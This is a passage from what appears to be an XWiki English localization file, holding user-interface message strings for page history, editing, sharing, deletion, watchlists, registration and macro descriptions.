Archive\ncore.viewers.attachments.mime.zip=ZIP Archive\ncore.viewers.attachments.mime.rar=RAR Archive\ncore.viewers.attachments.mime.jar=JAR\n### Code\ncore.viewers.attachments.mime.sql=SQL Dump\ncore.viewers.attachments.mime.php=PHP Code\ncore.viewers.attachments.mime.c=C Code\ncore.viewers.attachments.mime.cpp=C++ Code\ncore.viewers.attachments.mime.cs=C# Code\ncore.viewers.attachments.mime.h=Header File\ncore.viewers.attachments.mime.ruby=Ruby Code\ncore.viewers.attachments.mime.java=Java Code\ncore.viewers.attachments.mime.js=JavaScript Code\ncore.viewers.attachments.mime.script=Shell Script\ncore.viewers.attachments.mime.vs=Visual Studio File\n### Misc.\ncore.viewers.attachments.mime.calendar=Calendar Data\ncore.viewers.attachments.mime.email=EMail\ncore.viewers.attachments.mime.vcard=vCard\ncore.viewers.attachments.mime.exe=Windows Executable\ncore.viewers.attachments.mime.attachment=Attachment", "core.viewers.history.actions=Actions\ncore.viewers.history.title=History of <a href=\"{1}\">{0}</a>\ncore.viewers.history.summary=History of {0} &mdash; revisions from {1} to {2}\ncore.viewers.history.from=From\ncore.viewers.history.to=To\ncore.viewers.history.version=Version\ncore.viewers.history.author=Editor\ncore.viewers.history.date=Date\ncore.viewers.history.comment=Summary\ncore.viewers.history.currentVersion=Current version\ncore.viewers.history.rollback=Rollback\ncore.viewers.history.confirmRollback=Are you sure you wish to rollback to version {0}?\ncore.viewers.history.deleteSingle=Delete\ncore.viewers.history.confirmDeleteSingle=This action is not reversible. Are you sure you wish to delete version {0}?\ncore.viewers.history.compare=Compare selected versions\ncore.viewers.history.deleteRange=Delete selected version range\ncore.viewers.history.confirmDeleteRange=This action is not reversible. Are you sure you wish to delete versions from __rev1__ to __rev2__ inclusive?\ncore.viewers.history.showMinorEdits=Show minor edits\ncore.viewers.history.hideMinorEdits=Hide minor edits\ncore.viewers.history.extension.label={0}Version{1} coming from extension {2}{3} {4}{5}\ncore.viewers.history.empty=\"The history of this page is empty.\"", "core.viewers.information.title=Information about <a href=\"{1}\">{0}</a>\ncore.viewers.information.locale=Locale\ncore.viewers.information.noLocale=None\ncore.viewers.information.originalLocale=Original locale\ncore.viewers.information.translations=Translations\ncore.viewers.information.syntax=Syntax\ncore.viewers.information.hidden=Hidden\ncore.viewers.information.includedPages=Included pages\ncore.viewers.information.noIncludedPages=No included pages\ncore.viewers.information.backlinks=Backlinks\ncore.viewers.information.noBacklinks=No backlinks\ncore.viewers.information.pageReference=Page reference\ncore.viewers.information.pageReference.copied=Reference copied to clipboard\ncore.viewers.information.pageReference.copyButton=Copy the reference to clipboard\ncore.viewers.information.pageReference.globalButton=Display the page reference for all wikis\ncore.viewers.information.pageReference.localButton=Display the page reference only for this wiki\ncore.viewers.information.pageReference.tips=Copy and paste this reference whenever a page reference or 'fullname' is required: when creating links to this page in the wiki syntax editor, when using this page as a parameter to wiki macro, etc.", "core.viewers.code.title=Wiki source code of <a href=\"{1}\">{0}</a>\ncore.viewers.code.hideLineNumbers=Hide line numbers\ncore.viewers.code.showLineNumbers=Show line numbers", "core.viewers.jump.dialog.content=Go to:\ncore.viewers.jump.shortcuts='Meta+G', 'Ctrl+G', 'Ctrl+/', 'Meta+/'\ncore.viewers.jump.dialog.input.tooltip=Path.to.Page\ncore.viewers.jump.dialog.actions.view=View\ncore.viewers.jump.dialog.actions.view.tooltip=View page (Enter)\ncore.viewers.jump.dialog.actions.view.shortcuts='Enter'\ncore.viewers.jump.dialog.actions.edit=Edit\ncore.viewers.jump.dialog.actions.edit.tooltip=Edit page in the default editor (Meta+E)\ncore.viewers.jump.dialog.actions.edit.shortcuts='Meta+E'", "core.viewers.share.title=Share <a href=\"{1}\">{0}</a> by email\ncore.viewers.share.error.mustLogin=You must be logged in to use this feature\ncore.viewers.share.error.serverError=email server error\ncore.viewers.share.error.unknownEmail=unknown email address\ncore.viewers.share.error.missingRecipient=Please enter the recipient\ncore.viewers.share.send.success=The message has been sent to {0}.\ncore.viewers.share.send.error=The message could not be sent to {0}: {1}.\ncore.viewers.share.send.back=\\u00AB Go back to the {0} page\ncore.viewers.share.dialogTitle=Share this page\ncore.viewers.share.target=Send to\ncore.viewers.share.target.hint=XWiki user or email address\ncore.viewers.share.target.ccMe=Send me a copy\ncore.viewers.share.includeMethod=Include the current page\ncore.viewers.share.includeMethod.link=Only as a link\ncore.viewers.share.includeMethod.inline=Inline in the message\ncore.viewers.share.includeMethod.attachment=As an attached PDF\ncore.viewers.share.includeComments=Also include comments\ncore.viewers.share.messagePreviewLabel=The following message will be sent:\ncore.viewers.share.defaultMessage=I wanted to share this page with you.\ncore.viewers.share.recipientPlaceholder=&lt;recipient&gt;\ncore.viewers.share.submit=Send\ncore.viewers.share.cancel=Cancel", "platform.web.editors.wiki.pageTitle=Editing {0} (wiki mode)\nplatform.web.editors.wysiwyg.pageTitle=Editing {0}\nplatform.web.editors.inline.pageTitle=Editing {0}\nplatform.web.editors.object.pageTitle=Editing objects of {0}\nplatform.web.editors.class.pageTitle=Editing class {0}\nplatform.web.editors.rights.pageTitle=Editing access rights for {0}\nplatform.web.editors.unknown.pageTitle=Editing {0}", "core.editors.content.parentField.label=Parent\ncore.editors.content.parentField.edit=(edit)\ncore.editors.content.parentField.edit.title=Edit parent\ncore.editors.content.parentField.edit.hide=(hide)\ncore.editors.content.titleField.label=Title\ncore.editors.content.contentField.label=Content\ncore.editors.content.titleField.sectionEditingFormat={0} (\\u00A7{1}: {2})", "###full screen\ncore.editors.fullscreen.editFullScreen=Maximize\ncore.editors.fullscreen.editFullScreenTitle=Maximize\ncore.editors.fullscreen.exitFullScreen=Exit Full Screen", "core.editors.object.title=Editing objects of <a href=\"{1}\">{0}</a>\ncore.editors.object.objectsForClass=Objects of type {0}\ncore.editors.object.noObject=The specified object does not exist\ncore.editors.object.add.label=New object\ncore.editors.object.add.selectClass=Select a Class\ncore.editors.object.add.submit=Add\ncore.editors.object.add.inProgress=Creating object...\ncore.editors.object.add.done=Object created\ncore.editors.object.add.failed=Failed:\ncore.editors.object.loadObject.inProgress=Loading object information...\ncore.editors.object.loadObject.done=Object loaded\ncore.editors.object.loadObject.failed=Object loading failed:\ncore.editors.object.add.invalidClassName=The class {0} does not exist\ncore.editors.object.newObjectForClass=New {0} object\ncore.editors.object.newObjectForClass.tooltip=New {0} object\ncore.editors.object.editAllObjects=\\u00ABEdit all the objects defined in this page\ncore.editors.object.editSingleObject=[Edit only this object]\ncore.editors.object.editSingleObject.tooltip=Edit only this object\ncore.editors.object.removeObject=[Remove this object]\ncore.editors.object.removeObject.tooltip=Remove this object\ncore.editors.object.invalidPropertyName=No such property: {0}\ncore.editors.object.delete.inProgress=Deleting object...\ncore.editors.object.delete.done=Object deleted\ncore.editors.object.delete.failed=Failed to delete object:\ncore.editors.object.delete.confirmJS=Are you sure you want to delete this object?\ncore.editors.object.invalidCSRF=Bad CSRF token, try to reload the page.\ncore.editors.object.badParameters=Bad request parameters.", "core.editors.object.removeDeprecatedProperties.info=The following properties were deleted from the class {0} and are now deprecated:\ncore.editors.object.removeDeprecatedProperties.link=Remove deprecated properties\ncore.editors.object.removeDeprecatedProperties.link.tooltip=Remove deprecated properties\ncore.editors.object.removeDeprecatedProperties.all.info=Some objects from this page contain deprecated properties which were deleted from their respective classes.\ncore.editors.object.removeDeprecatedProperties.all.link=Remove all deprecated properties\ncore.editors.object.removeDeprecatedProperties.all.link.tooltip=Remove all deprecated properties\ncore.editors.object.removeDeprecatedProperties.inProgress=Removing deprecated properties...\ncore.editors.object.removeDeprecatedProperties.done=Deprecated properties were removed\ncore.editors.object.removeDeprecatedProperties.failed=Failed to remove deprecated properties", "core.editors.class.title=Editing class <a href=\"{1}\">{0}</a>\ncore.editors.class.switchClass=Edit another class\ncore.editors.class.switchClass.confirm=Do you want to save this class before leaving the editor?\ncore.editors.class.addProperty.name.label=Add new property\ncore.editors.class.addProperty.type.label=Type\ncore.editors.class.addProperty.submit=Add\ncore.editors.class.addProperty.inProgress=Adding property...\ncore.editors.class.addProperty.done=Property added\ncore.editors.class.addProperty.failed=Failed:", "core.editors.class.deleteProperty.text=delete\ncore.editors.class.deleteProperty.tooltip=Delete property {0}\ncore.editors.class.deleteProperty.confirm=Are you sure you want to delete this property?\ncore.editors.class.deleteProperty.inProgress=Deleting property...\ncore.editors.class.deleteProperty.done=Property deleted\ncore.editors.class.deleteProperty.failed=Failed to delete property:", "core.editors.rights.title=Editing rights of <a href=\"{1}\">{0}</a>", "core.editors.csrfCheckFailed=CSRF validation failed when saving.\ncore.editors.saveandcontinue.csrfCheckFailed=CSRF validation failed when saving. Try 'Save &amp; View' instead!\ncore.editors.saveandcontinue.exceptionWhileSaving=An error occured while saving: {0}.\ncore.editors.saveandcontinue.theDocumentWasNotSaved=The page was not saved!\ncore.editors.saveandcontinue.notification.inprogress=Saving...\ncore.editors.saveandcontinue.notification.done=Saved\ncore.editors.saveandcontinue.notification.doneWithMerge=Saved by merging changes\ncore.editors.saveandcontinue.notification.error=Failed to save the page. Reason: {0}\ncore.editors.savewithprogress.notification=Saving... __PROGRESS__%", "core.editors.save.authorizationError.message=An authorization error occured when performing this action. Your might have been logged out since you started to edit this page.\ncore.editors.save.authorizationError.followLink=Click here to login in a new window.", "core.editors.save.previewDiff.title=Version conflict\ncore.editors.save.previewDiff.description=Another version of the document has been saved since you started editing it and the merge cannot be performed automatically because some conflict occured. You can chose below what to do for saving the document, and check the differences between different versions of the document.\ncore.editors.save.previewDiff.latestVersion=Latest version saved\ncore.editors.save.previewDiff.modified=Modified by {0} the {1}\ncore.editors.save.previewDiff.reload.action=Reload the editor\ncore.editors.save.previewDiff.reload.label=lose changes\ncore.editors.save.previewDiff.reload.hint=Discards all your current changes and loads back the last saved changes. Be aware that you will lose all your current changes.\ncore.editors.save.previewDiff.forceSave.action=Force save your changes\ncore.editors.save.previewDiff.forceSave.hint=Creates a new version of the document with only your changes. Previous changes will be available in the history and may need to be manually merged.\ncore.editors.save.previewDiff.merge.action=Merge and fix conflicts with your changes\ncore.editors.save.previewDiff.merge.label=recommended\ncore.editors.save.previewDiff.merge.hint=Merge your changes with the latest version saved of the documents and fix the conflicts by using your version of the document.\ncore.editors.save.previewDiff.custom.action=Fix each conflict individually\ncore.editors.save.previewDiff.custom.label=Advanced\ncore.editors.save.previewDiff.custom.hint=This allows you to take an individual decision for each conflict that needs to be solved.\ncore.editors.save.previewDiff.viewChanges=View changes\ncore.editors.save.previewDiff.versionToCompare.previous=before your changes\ncore.editors.save.previewDiff.versionToCompare.current=your current changes\ncore.editors.save.previewDiff.versionToCompare.next=latest version saved\ncore.editors.save.previewDiff.versionToCompare.merged=merged version\ncore.editors.save.previewDiff.versionToCompare.custom=custom version\ncore.editors.save.previewDiff.emptyDecisionValue=Remove inserted value.", "core.space.recyclebin.confirm=This action will move ALL pages in space {0} to the Recycle Bin. Are you sure you wish to continue?\ncore.space.delete.confirm=This action will remove ALL pages in space {0} from your wiki. Are you sure you wish to continue?\ncore.space.recyclebin.done=Space {0} was moved to the Recycle Bin.\ncore.space.recyclebin.show=View the list of pages from this space that are currently present in the Recycle Bin \\u00BB\ncore.space.delete.done=All pages from space {0} were deleted from this wiki.", "core.widgets.confirmationBox.defaultQuestion=Are you sure?\ncore.widgets.confirmationBox.button.yes=Yes\ncore.widgets.confirmationBox.button.no=No\ncore.widgets.confirmationBox.button.cancel=Cancel\ncore.widgets.confirmationBox.notification.inProgress=Sending request...\ncore.widgets.confirmationBox.notification.done=Done!\ncore.widgets.confirmationBox.notification.failed=Failed:", "core.widgets.ajaxRequest.error.noServer=Server not responding", "core.widgets.gallery.currentImage=Current image\ncore.widgets.gallery.previousImage=Show previous image\ncore.widgets.gallery.nextImage=Show next image\ncore.widgets.gallery.maximize=Maximize\ncore.widgets.gallery.minimize=Minimize", "core.widgets.suggest.noResults=No results!\ncore.widgets.suggest.showResults=Go to search page\\u2026\ncore.widgets.suggest.valuePrefix=Value:\ncore.widgets.suggest.transportError=Failed to retrieve suggestions:\ncore.widgets.suggest.hide=hide suggestions", "core.widgets.suggestPicker.deleteAll=Clear selection\ncore.widgets.suggestPicker.deleteAll.tooltip=Clear the list of selected items\ncore.widgets.suggestPicker.delete.tooltip=Remove this item from the list of selected items", "core.widgets.userPicker.noResults=User not found\ncore.widgets.userPicker.scopeHint=Click to toggle between local and global scope\ncore.widgets.groupPicker.noResults=Group not found", "web.uicomponents.suggest.selectTypedText=Select {0} ...\nweb.uicomponents.suggest.attachments.upload=Upload a file ...\nweb.uicomponents.suggest.attachments.uploading=Uploading {0}\nweb.uicomponents.suggest.attachments.uploadDone={0} uploaded successfully\nweb.uicomponents.suggest.attachments.uploadFailed=Failed to upload {0}", "core.widgets.html5upload.item.cancel=Cancel upload\ncore.widgets.html5upload.item.canceled=Canceled\ncore.widgets.html5upload.cancelAll=Cancel all pending uploads\ncore.widgets.html5upload.error.unknown=An error occurred while uploading {0}\ncore.widgets.html5upload.error.invalidType=The file {0} has an unsuported format\ncore.widgets.html5upload.error.invalidSize=The file {0} is too large. Please choose files under {1}\ncore.widgets.html5upload.error.aborted=The upload of {0} has been canceled\ncore.widgets.html5upload.status.finishing=Waiting for server confirmation for {0}...\ncore.widgets.html5upload.status.finished=Attachment uploaded: {0} ({1})\ncore.widgets.html5upload.hideStatus=Hide upload status", "### Watchlist (1.2M2)\nwatchlist=Watchlist\nwatchlist.title=Watchlist for {0}\nwatchlist.staytuned=Stay tuned\nwatchlist.staytuned.info=Receive notifications from your Watchlist\nwatchlist.staytuned.email=Email notifications\nwatchlist.staytuned.email.info=Please choose how often you would like to receive your email notifications\nwatchlist.staytuned.email.frequency=Frequency\nwatchlist.staytuned.email.frequency.save=Save\nwatchlist.staytuned.rss=RSS feed\nwatchlist.staytuned.rss.info=Last modifications feed for your watchlist\nwatchlist.elements=Elements in your watchlist\nwatchlist.pages=Pages\nwatchlist.pages.info=Pages you are currently following:\nwatchlist.spaces=Spaces\nwatchlist.spaces.info=Spaces you are currently following:\nwatchlist.page=Page\nwatchlist.space=Space\nwatchlist.actions=Actions\nwatchlist.delete=Remove from watchlist\nwatchlist.delete.tooltip=Remove from watchlist\nwatchlist.delete.ok={0} has been successfuly removed from watchlist\nwatchlist.delete.ko=An error occurred while removing {0} from watchlist\nwatchlist.create.object=Created WatchList storage object\nwatchlist.save.object=Updated WatchList\nwatchlist.event.create=On {0}, the page has been created by {1}\nwatchlist.event.delete=On {0}, the page has been deleted by {1}\nwatchlist.event.update=On {0}, the page has been modified by {1}\nwatchlist.event.update.multiple=Between {0} and {1}, the page has been modified {2} times, by {3} user{3,choice,0#s|1#|2#s}: {4}\nwatchlist.notification.email.greeting=Hello {0},\nwatchlist.notification.email.subject=XWiki updates, {0,choice,0#No|1#One|1<{0}} page{0,choice,0#s|1#|2#s} ha{0,choice,0#ve|1#s|1<ve} been modified since {1}\nwatchlist.notification.email.singleUpdate.subject=XWiki updates, 1 page has been modified since {0}\nwatchlist.notification.email.singleUpdate.intro=This message is sent by XWiki. Here is the page in your watchlist that has been modified since the last notification:\nwatchlist.notification.email.multipleUpdates.subject=XWiki updates, {0} pages have been modified since {1}\nwatchlist.notification.email.multipleUpdates.intro=This message is sent by XWiki. Here are the pages in your watchlist that have been modified since the last notification:\nwatchlist.notification.email.contents=Contents\nwatchlist.notification.tooltip=Notifications\nwatchlist.rss.author=XWiki\nwatchlist.rss.title=Your WatchList RSS feed\nwatchlist.rss.description=This RSS feed allows you to keep track of changes made to pages you added to your watchlist.\nwatchlist.job.hourly=Watchlist hourly email notifier\nwatchlist.job.daily=Watchlist daily email notifier\nwatchlist.job.weekly=Watchlist weekly email notifier\nwatchlist.preferences=Watchlist Preferences\nwatchlist.table.type=Type\nwatchlist.table.wiki=Wiki\nwatchlist.table.space=Space\nwatchlist.table.document=Page name\nwatchlist.table.allspaces=All spaces\nwatchlist.table.alldocuments=All pages\nwatchlist.table.actions=Actions\nwatchlist.diff.error=There was an error computing the difference. Please contact your administrator.", "### Activity stream, since 2.0RC1\nactivitystream.event.update=The page \"{0}\" has been modified\nactivitystream.event.update.rss.title=The page \"{0}\" has been modified\nactivitystream.event.update.rss.body=The page \"{0}\" has been modified\nactivitystream.event.create=The page \"{0}\" has been created\nactivitystream.event.create.rss.title=The page \"{0}\" has been created\nactivitystream.event.create.rss.body=The page \"{0}\" has been created\nactivitystream.event.delete=The page \"{0}\" has been deleted\nactivitystream.event.delete.rss.title=The page \"{0}\" has been deleted\nactivitystream.event.delete.rss.body=The page \"{0}\" has been deleted\n### Attachment events since XE 2.6RC1\nactivitystream.event.addAttachment=The attachment \"{1}\" has been added to the page \"{0}\"\nactivitystream.event.addAttachment.rss.title=The attachment \"{1}\" has been added to the page \"{0}\"\nactivitystream.event.addAttachment.rss.body=The attachment \"{1}\" has been added to the page \"{0}\"\nactivitystream.event.updateAttachment=The attachment \"{1}\" has been modified in the page \"{0}\"\nactivitystream.event.updateAttachment.rss.title=The attachment \"{1}\" has been modified in the page \"{0}\"\nactivitystream.event.updateAttachment.rss.body=The attachment \"{1}\" has been modified in the page \"{0}\"\nactivitystream.event.deleteAttachment=The attachment \"{1}\" has been deleted from the page \"{0}\"\nactivitystream.event.deleteAttachment.rss.title=The attachment \"{1}\" has been deleted from the page \"{0}\"\nactivitystream.event.deleteAttachment.rss.body=The attachment \"{1}\" has been deleted from the page \"{0}\"\n### Annotation events since XE 2.6RC1\nactivitystream.event.addAnnotation=An annotation has been added to the page \"{0}\"\nactivitystream.event.addAnnotation.rss.title=An annotation has been added to the page \"{0}\"\nactivitystream.event.addAnnotation.rss.body=An annotation has been added to the page \"{0}\"\nactivitystream.event.updateAnnotation=An annotation has been modified in the page \"{0}\"\nactivitystream.event.updateAnnotation.rss.title=An annotation has been modified in the page \"{0}\"\nactivitystream.event.updateAnnotation.rss.body=An annotation has been modified in the page \"{0}\"\nactivitystream.event.deleteAnnotation=An annotation has been deleted from the page \"{0}\"\nactivitystream.event.deleteAnnotation.rss.title=An annotation has been deleted from the page \"{0}\"\nactivitystream.event.deleteAnnotation.rss.body=An annotation has been deleted from the page \"{0}\"\n### Comment events since XE 2.6RC1\nactivitystream.event.addComment=A comment has been added to the page \"{0}\"\nactivitystream.event.addComment.rss.title=A comment has been added to the page \"{0}\"\nactivitystream.event.addComment.rss.body=A comment has been added to the page \"{0}\"\nactivitystream.event.updateComment=A comment has been modified in the page \"{0}\"\nactivitystream.event.updateComment.rss.title=A comment has been modified in the page \"{0}\"\nactivitystream.event.updateComment.rss.body=A comment has been modified in the page \"{0}\"\nactivitystream.event.deleteComment=A comment has been deleted from the page \"{0}\"\nactivitystream.event.deleteComment.rss.title=A comment has been deleted from the page \"{0}\"\nactivitystream.event.deleteComment.rss.body=A comment has been deleted from the page \"{0}\"", "### Deleting a page\ncore.delete=Delete\ncore.delete.title=Delete {0}\ncore.delete.backlinksWarning=The following pages contain links to the current page:{0}After deleting this page, those links will point to an empty page.\ncore.delete.orphansWarning=The following pages have this page specified as a parent:{0}After deleting this page, they will become orphaned.\ncore.delete.confirm=The deletion of a page is not reversible. Are you sure you wish to continue?\ncore.delete.confirmWithInlinks=In addition, the deletion of a page is not reversible. Are you sure you wish to continue?\ncore.delete.waitmessage=Please wait while the page is being deleted.\ncore.delete.success=The page has been deleted.\ncore.delete.error=Some errors happened:\ncore.delete.warningExtensions.title=You are about to delete pages that belong to extensions.\ncore.delete.warningExtensions.explanation=If you delete these pages, the extensions will not work anymore.\ncore.delete.warningExtensions.help=The recommended way of removing an extension is by uninstalling it with the {0}Extension Manager{1}.\ncore.delete.warningExtensions.confirm=Do you wish to continue?\ncore.delete.warningExtensions.tree.title=Pages to remove\ncore.delete.warningExtensions.tree.freePages=Pages that do not belong to any extension\ncore.delete.warningExtensions.tree.selectAll=select all\ncore.delete.warningExtensions.tree.selectNone=none\ncore.delete.warningExtensions.tree.paginationNode={0} more....\ncore.delete.warningExtensions.canceling=Canceling the delete action\ncore.delete.warningExtensions.canceled=Delete action canceled\ncore.delete.warningExtensions.timeout=The action has been canceled because we have not received any answer after 5 minutes.\ncore.delete.affectChildren=Affect children\ncore.delete.backlinks=Backlinks", "### Restoring a page\ncore.restore.title=Restore {0}\ncore.restore.includeBatch=Include the batch of documents deleted at the same time\ncore.restore.batch.doc.name=Page\ncore.restore.batch.doc.location=Location\ncore.restore.batch._actions=Actions\ncore.restore.batch._actions.delete=Delete\ncore.restore.batch._actions.restore=Restore\ncore.restore.deleter=Deleted by:\ncore.restore.deleteDate=Deleted on:\ncore.restore.batchId=Deleted Batch ID\ncore.restore.confirm.yes=Restore\ncore.restore.confirm.no=Cancel\ncore.restore.waitmessage=Please wait while the restore operation is being performed.\ncore.restore.status.notFound=The requested restore status could not be found.\ncore.restore.status.success=Restore operation was successful.\ncore.restore.status.failure=Restore failed.", "## Children of a page\ncore.children.title=Children of {0}\ncore.children.warningParentChild=Note: this page does not display the children based on the parent/child mechanism.\ncore.children.terminalPage=This page is a terminal page that cannot have children.\ncore.children.parentChildDescription=Pages having this page as parent:\ncore.children.parentChildNoChild=This page does not have any child based on the parent/child mechanism.", "## Siblings of a document\ncore.siblings.title=Siblings of {0}", "## Backlinks\ncore.backlinks.title=Backlinks to {0}\ncore.backlinks.description=Pages having a link to this page:\ncore.backlinks.noBackLink=There is no backlink to this page.", "## Events\ncore.events.create.description=A new page is created\ncore.events.delete.description=A page is deleted\ncore.events.update.description=A page is modified\ncore.events.comment.description=A comment is posted\ncore.events.appName=Pages", "core.recyclebin.showlistmsg=The following versions are in the recycle bin:\ncore.recyclebin.showListTerminalPagesMsg=The following versions of terminal pages are in the recycle bin:\ncore.recyclebin.deleter=Deleter\ncore.recyclebin.actions=Actions\ncore.recyclebin.deleteDate=Deletion Date\ncore.recyclebin.batchId=Deleted Batch ID\ncore.recyclebin.delete=Delete\ncore.recyclebin.restore=Restore\ncore.recyclebin.confirm=Are you sure you wish to move this page to the recycle bin?\ncore.recyclebin.confirmWithInlinks=Are you sure you wish to move this page to the recycle bin?\ncore.recyclebin.completelyDeleteConfirm=This action is not reversible. Are you sure you wish to continue?\ncore.recyclebin.invalidEntry=Invalid recycle bin entry.\ncore.recycleBin.shouldSkip.label=Are you sure you wish to delete this page?\ncore.recycleBin.shouldSkip.no=Delete and move to the recycle bin.\ncore.recycleBin.shouldSkip.yes=Permanently delete the page (it won't be put in the recycle bin).", "core.versions.delete.single=Delete\ncore.versions.delete.many=Delete versions\ncore.versions.delete.confirm.single=This action is not reversible. Do you want to delete version {0}?\ncore.versions.delete.confirm.many=This action is not reversible. Are you sure you wish to delete versions from {0} to {1} inclusive?\ncore.versions.delete.needselect=You need to select \"from\" and \"to\" versions to delete\ncore.versions.delete.goback=go back", "core.pdf.tableOfContents=Table of Contents", "panels.documentInformation.title=Page Information\npanels.documentInformation.syntax=Page syntax\npanels.documentInformation.includesCount={0,choice,0#No|1#One|1<{0}} included {0,choice,0#pages.|1#page:|1<pages:}\npanels.documentInformation.includesOne={0} included page:\npanels.documentInformation.includesMore={0} included pages:\npanels.documentInformation.editIncluded=Edit {0}\npanels.documentInformation.defaultLanguage=Default Language:\npanels.documentInformation.hiddenDocument=Hidden page", "panels.translation.title=Page Translations\npanels.translation.editingOriginal=You are editing the original page ({0}).\npanels.translation.editingTranslation=You are editing the following translation: {0}.\npanels.translation.editOriginalLanguage=The original language of the page is {0}.\npanels.translation.translate=Translate this page in:\npanels.translation.otherTranslations=Other translations:\npanels.translation.existingTranslations=Existing translations:", "panels.recentlyVisited.title=Recently Visited\npanels.recentlyModified.title=Recently Modified\npanels.recentlyCreated.title=Recently Created", "panels.applications.title=Applications\npanels.applications.more=More applications", "panelwizard.panelwizard=Panels\npanelwizard.placemanager=Place Manager\npanelwizard.notadmininplace=You are not admin on this place {0}.\npanelwizard.panellayoutupdate=Panel Layout Update\npanelwizard.nodirectaccess=This page is not supposed to be accessed directly. Please use the {0}.\npanelwizard.panellist=Panel List\npanelwizard.pagelayout=Page Layout\npanelwizard.nopanels=There are no panels from this category.\npanelwizard.panelColumns=Panel Columns\npanelwizard.choosepagelayout=Choose a page layout\npanelwizard.nosidecolumn=No side column\npanelwizard.leftcolumn=Left column\npanelwizard.rightcolumn=Right column\npanelwizard.bothcolumns=Both columns\npanelwizard.needadminright=You need to have administrative rights to use the Panel Wizard.\npanelwizard.paneleditor=Panel Editor\npanelwizard.tip=To drag a panel, use your mouse and click on the header of the panel. Keep your left mouse button down while you move your mouse and the panel at the same time. While you move the panel you will see in real-time where the panel will be dropped when you release your left mouse button.\npanelwizard.draganddrop=Drag and drop panels to rearrange them inside a column or between columns. To add or remove panels, drag them from the list of available panels to one of the columns or from the column into the list, respectively.\npanelwizard.save.versionComment=Updated panel layout", "#tooltip for fullscreen editing\nfullScreenTooltip=Edit in Full Screen", "### user registration\ncore.register=Register\ncore.register.title=Registration\ncore.register.welcome=Sign up here so you can edit pages and participate in the wiki.\ncore.register.passwordMismatch=Passwords are different or password is empty.\ncore.register.userAlreadyExists=User already exists.\ncore.register.invalidUsername=Invalid username provided. Please use only letters from the latin alphabet, numbers, and the underscore character '_'.\ncore.register.mailSenderWronglyConfigured=The user has been created but the validation email has not been sent. Please check the Mail Sending Configuration and consider recreating the user.\ncore.register.registerFailed=Registration has failed due to unknown reasons. (Error code: {0})\ncore.register.successful={0} ({1}): Registration successful.\ncore.register.firstName=First Name\ncore.register.lastName=Last Name\ncore.register.username=Username\ncore.register.password=Password\ncore.register.passwordRepeat=Confirm Password\ncore.register.email=Email Address\ncore.register.submit=Register", "core.register.badCSRF=Bad CSRF token.", "\n# User account validation\ncore.users.activation.validationKey.label=Validation key:", "# Misc about users\ncore.users.unknownUser=Unknown User\ncore.users.disable.saveComment=Disable user account\ncore.users.enable.saveComment=Enable user account", "###Validation\ncore.validation.required=(Required)\ncore.validation.required.message=This field is required.\ncore.validation.required.message.terminal=This field is required for terminal pages.\ncore.validation.valid.message=Ok.", "# Captcha \ncore.captcha.captchaAnswerIsWrong=Incorrect answer, please try again.\ncore.captcha.instruction=Please validate the CAPTCHA to prove you are not a robot", "# History\nweb.history.changes.raw=Raw\nweb.history.changes.rendered=Rendered\nweb.history.changes.summary=Summary\nweb.history.changes.summary.documents=Showing {0}{1} changed {1,choice,1#page|1<pages}{2}\nweb.history.changes.summary.documentProperties=Page properties\nweb.history.changes.summary.attachments=Attachments\nweb.history.changes.summary.objects=Objects\nweb.history.changes.summary.classProperties=Class properties\nweb.history.changes.summary.modifiedAddedRemoved={0} modified, {1} added, {2} removed\nweb.history.changes.noChanges=No changes\nweb.history.changes.failedToCompute=Failed to compute the changes.\nweb.history.changes.details=Details\nweb.history.changes.document.title=Title\nweb.history.changes.document.parent=Parent\nweb.history.changes.document.hidden=Hidden\nweb.history.changes.document.defaultLocale=Default language\nweb.history.changes.document.syntax=Syntax\nweb.history.changes.document.content=Content\nweb.history.changes.attachment.size=Size\nweb.history.changes.attachment.content=Content\nweb.history.changes.attachment.noContentChanges=Either this is not a text file or the file is too large\nweb.history.changes.privateInformation=Private information\nweb.history.changes.attachment.notAvailable=The content diff is not available. One attachment might have been deleted from the recycle bin.\nweb.history.changes.showContext=Show context\nweb.history.changes.hideContext=Hide context", "core.viewers.diff.title=Changes for page <a href=\"{1}\">{0}</a>\ncore.viewers.diff.from=From version {0}\ncore.viewers.diff.fromNew=From empty\ncore.viewers.diff.to=To version {0}\ncore.viewers.diff.editedBy=edited by {0}\ncore.viewers.diff.editedOn=on {0}\ncore.viewers.diff.editComment=Change comment:\ncore.viewers.diff.noEditComment=There is no comment for this version\ncore.viewers.diff.nextChange=Next change\ncore.viewers.diff.previousChange=Previous change\ncore.viewers.diff.nextVersion=Next version\ncore.viewers.diff.previousVersion=Previous version", "core.viewers.code.showBlame=Show last authors\ncore.viewers.code.hideBlame=Hide last authors", "####################\n# Macros\n####################", "rendering.macroContent=Content", "### Macro Categories\nrendering.macroCategory.Development=Development\nrendering.macroCategory.Navigation=Navigation\nrendering.macroCategory.Content=Content\nrendering.macroCategory.Formatting=Formatting\nrendering.macroCategory.Layout=Layout\nrendering.macroCategory.Deprecated=Deprecated\nrendering.macroCategory.Internal=Internal", "### Macro Descriptors\nrendering.macro.groovy.name=Groovy\nrendering.macro.groovy.description=Execute a groovy script.\nrendering.macro.groovy.content.description=the groovy script to execute\nrendering.macro.groovy.parameter.jars.name=jars\nrendering.macro.groovy.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.groovy.parameter.output.name=output\nrendering.macro.groovy.parameter.output.description=Specifies whether or not the output result should be inserted back in the page.\nrendering.macro.groovy.parameter.wiki.name=wiki\nrendering.macro.groovy.parameter.wiki.description=Specifies whether or not the script output contains wiki markup.\nrendering.macro.python.name=Python\nrendering.macro.python.description=Executes a python script.\nrendering.macro.python.content.description=The python script to execute\nrendering.macro.python.parameter.jars.name=jars\nrendering.macro.python.parameter.jars.description=List of JARs to be added to the class loader used to execute this script. Example: \"attach:wiki:space.page@somefile.jar\", \"attach:somefile.jar\", \"attach:wiki:space.page\" (adds all JARs attached to the page) or URL to a JAR\nrendering.macro.python.parameter.output.name=output\nrendering.macro.python.parameter.output.description=Specifies whether the output result should be inserted back in the page\nrendering.macro.python.parameter.wiki.name=wiki\nrendering.macro.python.parameter.wiki.description=Specifies whether wiki syntax in the script execution result will be rendered or not\nrendering.macro.html.name=HTML\nrendering.macro.html.description=Inserts HTML or XHTML code into the page.\nrendering.macro.html.content.description=The HTML content to insert in the 